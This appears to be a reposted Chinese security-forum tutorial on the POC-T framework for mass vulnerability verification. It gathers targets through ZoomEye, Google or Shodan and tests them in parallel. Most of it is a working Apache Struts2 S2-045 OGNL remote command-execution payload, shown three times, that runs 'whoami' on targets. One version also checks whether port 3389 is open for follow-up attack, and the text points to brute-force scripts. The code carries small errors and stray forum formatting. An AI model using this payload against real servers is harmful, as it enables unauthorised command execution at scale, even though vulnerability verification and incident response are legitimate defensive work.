漏洞应急响应之批量poc验证
1.文章難易度 【★★★】
2.文章知識點: python,poc驗證;
3.文章作者: 野驢
4.本文參與i春秋學(xué)院原創(chuàng)文章獎勵計劃,未經(jīng)許可禁止轉(zhuǎn)載!
0x01前言
當(dāng)互聯(lián)網(wǎng)爆出高危漏洞,或者團隊內(nèi)部挖到0day,無論甲方還是乙方都需要了解漏洞的影響面,這個時候就需要poc批量驗證,包括網(wǎng)絡(luò)安全愛好者對“批量”這個詞一定不會陌生,我們今天就來聊聊“批量”那些事。目前,有很多優(yōu)秀的poc批量驗證工具,比如我之前的帖子(https://bbs.ichunqiu.com/thread-9519-1-1.html)發(fā)過pentestdb中也集成了這個功能,比較經(jīng)典的還有pocsuite,pocsuite、zoomeye、seebug一條龍服務(wù)可以說是業(yè)界良心,pocsuite需要按模板要求使用Pocsuite指定的函數(shù),這樣的優(yōu)點在于可以在HTTP請求層面直接做控制,從而支持“全局代理”,“全局隨機UA”等功能,同時保證了腳本的穩(wěn)定性與規(guī)范性,對于不懂驗證邏輯的客戶或運維人員,直接運行腳本即可。但總感覺太重了,不夠自由,比如輸出的內(nèi)容等,不能自由設(shè)置。那么有沒有一款可以引入第三方庫,不需要任何模板和繼承。這樣既能夠擴展其功能,又能保證效率的最大化,不用每次寫腳本都查文檔格式,一個腳本一行命令,三五分鐘即可完成任務(wù)的這樣一個poc驗證框架呢?這就是今天給大家推薦的POC-T。
0x02 簡介及安裝使用
批量驗證要解決的三個關(guān)鍵點:
數(shù)據(jù):數(shù)據(jù)怎么來?
處理:邏輯是什么?
并發(fā):如何實現(xiàn)?
POC-T就是按照這樣的思路設(shè)計的
安裝也很簡單,這里不占用篇幅
git clone [url]https://github.com/Xyntax/POC-T[/url]
pip install -r requirement.txt
python POC-T.py
0x021 數(shù)據(jù)怎么來
數(shù)據(jù)來源很豐富,也很貼心。包括單個目標(biāo)(-iS)、文件導(dǎo)入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),這些接口的key設(shè)置支持運行時手動輸入,也支持預(yù)先設(shè)置,在根目錄下的toolkit.conf中設(shè)置,谷歌還支持代理,以便扶墻,是不是很貼心,參數(shù)–limit來限制搜索數(shù)目。其他來源參考幫助。
0x022處理邏輯是什么
邏輯驗證也就是poc,在script已經(jīng)有很多作者維護(hù)的poc腳本,可以利用參數(shù)–show來列出poc腳本名
加載用參數(shù)–s poc名
0x023并發(fā)如何實現(xiàn)
并發(fā)的實現(xiàn)作者自己的框架,我們作為使用者不必太糾結(jié)原理,只要知道支持多線程(-eT)Gevent(-eG)兩種并發(fā)模式就可以了。POC-T的效率非常之高,根據(jù)筆者測試,設(shè)置線程為30(默認(rèn)10),測試2000+個目標(biāo)不到3分鐘就可以完成。
最后的命令格式大概是這樣子
Python POC-T.py –s poc –aZ “port:22” –limit 100
Python POC-T.py –s poc –aG “url:index.php” –limit 100 –gproxy “socket5 127.0.0.1 1080”
Python POC-T.py –s poc –iS http://host//login.php?id=1
Python POC-T.py –s poc –iF /root/pentest/vul.txt
0x03 poc腳本編寫
這也是本文重點關(guān)注的,為什么說POC-T很輕便呢,我認(rèn)為就體現(xiàn)在poc腳本編寫上,所有的驗證只需要一個poc()函數(shù)就可以,成功就返回True或者自定義信息,失敗就返回False,除此之外沒有任何限制。沒有實例,一切文章都是紙老虎。下面我們就以前段時間火爆的struts2-s045漏洞為例,詳細(xì)說下poc的編寫,在script目錄下有個test.py就是poc腳本的一個demo,就在這個基礎(chǔ)上編寫我們的poc。
網(wǎng)上爆出的驗證代碼為
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
這段代碼,大概意思就是執(zhí)行了“echo nMask”,也就是說返回的body中如果有字符串nMask就意味著漏洞存在,否則不存在。那么我們的poc代碼就可以這么寫
import urllib2[/size][/font]
[align=left][font=宋體][size=3]from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request,timeout=5)
body = response.readlines()[0:2]
except:
return False
if "nMask" in body:
return Ture
else:
return False
建議在腳本中處理Exception,如果線程運行中發(fā)現(xiàn)Exception,將使框架終止全部任務(wù)并打印錯誤信息。由于網(wǎng)絡(luò)請求中經(jīng)常出現(xiàn)連接中斷等錯誤,一種簡單的做法是:
def poc(input_str)
try:
...全部腳本邏輯...
except:
return False
就是這么簡單,在運行時框架的每個線程都會調(diào)用poc()這個函數(shù),并把目標(biāo)url復(fù)制給poc()函數(shù)。然后我們來看看效果,我導(dǎo)入一個目標(biāo)文本(每行一個url)。
POC-T還提供了具有通用性的腳本擴展工具.用于簡化代碼,提高PoC準(zhǔn)確性,賦予腳本更多功能.這些工具位于plugin目錄下,編寫腳本時,可以使用from plugin.xxx import xxx直接調(diào)用,具體功能請查看原文件注釋
繼續(xù)以剛才poc為例,現(xiàn)在我們不僅想知道一個url是否存在s2-045漏洞,還想知道特定端口是否開放,比如3389、22端口,這樣可以為我們下一步測試提供方便。那來看看擴展工具里有沒有我們想要的功能。
在util.py中有這樣一個函數(shù)checkPortTcp()只要有IP地址就可以查看相應(yīng)端口是否開放
可傳入的參數(shù)是url,不是IP地址怎么辦,答案仍在util.py中,還有這樣一個函數(shù)host2IP()可以把url轉(zhuǎn)換為IP地址,真是要啥有啥。
我們的代碼可以這樣寫
import urllib2
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from plugin.util import host2IP
from plugin.util import checkPortTcp
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request,timeout=5)
body = response.read()
except:
body=""
ip = host2IP(url) #將url轉(zhuǎn)化為IP
port = checkPortTcp(ip,3389) #檢測3389是否開放
if "nMask" in body:
assert isinstance(port, object)
return url + "---" + "3389:" + str(port)
else:
return False
0x04 其他功能
如果我們搞明白了批量需要解決的那三個關(guān)鍵問題,就會發(fā)現(xiàn)這個框架不僅可以用作poc批量驗證,還可以用作它途,只要原理一樣就可以。比如爆破、爬蟲、采集等。作者也給出了相應(yīng)實例
爆破:/script/ brute-example.py
爬蟲&采集:/script/ spider-example.py
旁站掃描:/script/ bingc.py
0x05 結(jié)語
看完本文,以后再有漏洞時,還用到處問“哪里有批量工具嗎?”,自己動手,豐衣足食。但正因為POC-T的輕便、靈活,更需要我們的編碼能力,因為所有的邏輯驗證及輸出都需要通過自己編碼實現(xiàn)而沒有現(xiàn)成的格式規(guī)范。
其他優(yōu)秀的poc批量驗證工具:
Pocsuite:https://github.com/knownsec/Pocsuite
Pentestdb:https://github.com/alpha1e0/pentestdb
s0m3poc:https://github.com/s0m30ne/s0m3poc
總結(jié)
以上是生活随笔為你收集整理的漏洞应急响应之批量poc验证的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Web测试容易忽略的地方
- 下一篇: 在未启动程序情况 点击视图设计器